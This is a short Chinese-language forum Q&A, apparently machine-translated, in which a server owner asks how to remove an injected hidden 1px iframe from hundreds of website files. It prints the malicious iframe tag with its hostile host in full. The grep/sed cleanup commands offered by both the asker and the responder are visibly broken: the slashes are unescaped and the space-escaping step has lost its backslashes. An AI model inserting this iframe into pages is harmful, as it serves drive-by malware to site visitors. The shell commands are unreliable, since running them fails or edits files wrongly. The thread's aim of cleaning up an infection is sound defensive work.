我正在寻找一个脚本来删除以下iframe恶意软件从我的linux服务器:
<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>
它已经感染了我服务器上不同网站上的数百个文件。我试着
grep -rl ishigo.sytes.net * | sed 's/ / /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g'
但它只输出:
sed: -e expression #1, char 49: unknown option to `s'
谢谢你的帮助
干杯迪
在sed正则表达式中取消url的反斜杠
这应该是一个更通用的解决方案。实际上,恶意软件所做的就是寻找</body>
并在此之前注入iframe
。所以你可以在</body>
之前找一个iframe
然后用</body>
# grep recursively for text
# escape all spaces in file names
# global search and replace with just body tag
grep -Rl "</iframe></body>" * | sed 's/ / /g' | xargs sed -i 's/<iframe .*></iframe></body>/</body>/g'
我发现关于重命名恶意软件文件的其他问题也有助于通过在最后重命名扩展名.hacked
来快速删除所有受损文件。然后你可以修复hack,最后删除.hacked